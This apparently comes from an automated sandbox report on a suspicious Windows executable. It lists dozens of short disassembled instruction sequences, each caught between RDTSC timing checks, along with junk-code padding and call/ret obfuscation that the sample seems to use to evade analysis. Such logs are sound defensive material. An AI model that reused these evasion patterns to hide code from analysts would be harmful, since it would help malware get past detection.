Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E71C34 second address: E71C5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007FCA18DB50F8h 0x0000000b jnp 00007FCA18DB50E6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E71EDC second address: E71EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E71EE2 second address: E71EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E71EEC second address: E71EF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E721E6 second address: E721EB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E721EB second address: E721FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FCA18C4F696h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E7237E second address: E7239B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FCA18DB50EAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FCA18DB50E6h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E7239B second address: E7239F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E7239F second address: E723A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E724CA second address: E724D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA18C4F69Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E724D8 second address: E724F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E724F8 second address: E724FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E724FE second address: E72514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FCA18DB50EDh 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E75213 second address: E7521D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E7521D second address: E75223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E75223 second address: E75227 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E796F0 second address: E796F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E796F4 second address: E79709 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCA18C4F696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FCA18C4F69Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E79709 second address: E79710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E79895 second address: E7989C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E7989C second address: E798A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E79E6E second address: E79E9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 jmp 00007FCA18C4F6A1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FCA18C4F6A3h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E79E9E second address: E79EAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007FCA18DB50E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E7A187 second address: E7A1C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jng 00007FCA18C4F6A7h 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007FCA18C4F696h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E7A1C0 second address: E7A1C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E7A317 second address: E7A322 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007FCA18C4F696h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E82919 second address: E8291D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E8291D second address: E82937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FCA18C4F6A4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E82937 second address: E8293C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E82ACA second address: E82ACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E82ACE second address: E82AD4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E82424 second address: E82445 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E82445 second address: E8246A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ebx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007FCA18DB50FBh 0x00000010 jmp 00007FCA18DB50EFh 0x00000015 ja 00007FCA18DB50E6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E8246A second address: E8249C instructions: 0x00000000 rdtsc 0x00000002 jno 00007FCA18C4F6A2h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FCA18C4F6A9h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E831EC second address: E831FC instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCA18DB50E6h 0x00000008 jnp 00007FCA18DB50E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E831FC second address: E83213 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FCA18C4F696h 0x00000009 je 00007FCA18C4F696h 0x0000000f jg 00007FCA18C4F696h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E83213 second address: E8321C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E834D8 second address: E834E2 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCA18C4F6A2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E834E2 second address: E834E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4424C second address: E44250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E44250 second address: E44254 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E44796 second address: E4479A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4479A second address: E4479E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4479E second address: E447C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jnp 00007FCA18C4F6B5h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FCA18C4F6A3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E44D6A second address: E44DE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FCA18DB50E8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D3810h], esi 0x0000002d mov ch, 65h 0x0000002f push 0000001Eh 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007FCA18DB50E8h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 00000018h 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b jc 00007FCA18DB50ECh 0x00000051 and edx, 296EE0DAh 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a push edx 0x0000005b pushad 0x0000005c popad 0x0000005d pop edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E45076 second address: E4509E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCA18C4F696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007FCA18C4F6A2h 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4509E second address: E450A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E450A3 second address: E450A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E450A9 second address: E450AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4511D second address: E45122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E45122 second address: E4512C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FCA18DB50E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4512C second address: E451A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F69Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jg 00007FCA18C4F696h 0x00000014 jmp 00007FCA18C4F6A1h 0x00000019 popad 0x0000001a push ecx 0x0000001b jmp 00007FCA18C4F6A2h 0x00000020 pop ecx 0x00000021 popad 0x00000022 nop 0x00000023 mov dword ptr [ebp+122D1F3Ah], ecx 0x00000029 lea eax, dword ptr [ebp+1247EBE4h] 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007FCA18C4F698h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 00000015h 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 xor dword ptr [ebp+122D1DCCh], eax 0x0000004f nop 0x00000050 push ecx 0x00000051 push ebx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E451A5 second address: E4522C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FCA18DB50F4h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 popad 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007FCA18DB50E8h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D1D81h], ecx 0x00000035 lea eax, dword ptr [ebp+1247EBA0h] 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e call 00007FCA18DB50E8h 0x00000043 pop ebx 0x00000044 mov dword ptr [esp+04h], ebx 0x00000048 add dword ptr [esp+04h], 0000001Bh 0x00000050 inc ebx 0x00000051 push ebx 0x00000052 ret 0x00000053 pop ebx 0x00000054 ret 0x00000055 mov edi, dword ptr [ebp+122D3B22h] 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e je 00007FCA18DB50E8h 0x00000064 push edi 0x00000065 pop edi 0x00000066 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4522C second address: E45241 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCA18C4F6A0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E87196 second address: E871B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA18DB50F9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E876FC second address: E87700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E87700 second address: E8770C instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCA18DB50E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E8770C second address: E87724 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FCA18C4F69Bh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E8789F second address: E878A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E8E59D second address: E8E5B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F69Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E8E861 second address: E8E891 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FCA18DB50F8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push edx 0x0000000d pop edx 0x0000000e ja 00007FCA18DB50E6h 0x00000014 pop esi 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a pop edi 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E8E891 second address: E8E8AB instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCA18C4F696h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FCA18C4F69Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E8E8AB second address: E8E8AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E8EA17 second address: E8EA2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E8EA2C second address: E8EA32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E8EA32 second address: E8EA37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E8EA37 second address: E8EA67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FCA18DB50E6h 0x0000000a popad 0x0000000b js 00007FCA18DB50E8h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007FCA18DB50EDh 0x0000001d pushad 0x0000001e popad 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 popad 0x00000022 pushad 0x00000023 push esi 0x00000024 pop esi 0x00000025 push esi 0x00000026 pop esi 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E95465 second address: E95481 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A4h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E9408A second address: E940A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA18DB50F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E940A2 second address: E940BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FCA18C4F6A1h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E940BE second address: E940C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E9420E second address: E94213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E94213 second address: E94219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E94219 second address: E9422C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA18C4F69Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E944CB second address: E944F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007FCA18DB5104h 0x0000000d jmp 00007FCA18DB50F8h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E944F2 second address: E944FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FCA18C4F698h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E944FE second address: E9450C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 jg 00007FCA18DB50ECh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E44B73 second address: E44B79 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E44B79 second address: E44B7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E44B7F second address: E44B83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E44B83 second address: E44BDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e pushad 0x0000000f mov dl, 9Bh 0x00000011 mov edi, dword ptr [ebp+122D1D5Eh] 0x00000017 popad 0x00000018 mov ebx, dword ptr [ebp+1247EBDFh] 0x0000001e mov edx, dword ptr [ebp+122D39E6h] 0x00000024 jmp 00007FCA18DB50EDh 0x00000029 add eax, ebx 0x0000002b mov cx, di 0x0000002e nop 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FCA18DB50F5h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E44BDF second address: E44C00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E94640 second address: E94644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E94644 second address: E9464A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E9516D second address: E95175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E9895A second address: E9897D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FCA18C4F696h 0x0000000a jmp 00007FCA18C4F6A9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E9897D second address: E98988 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
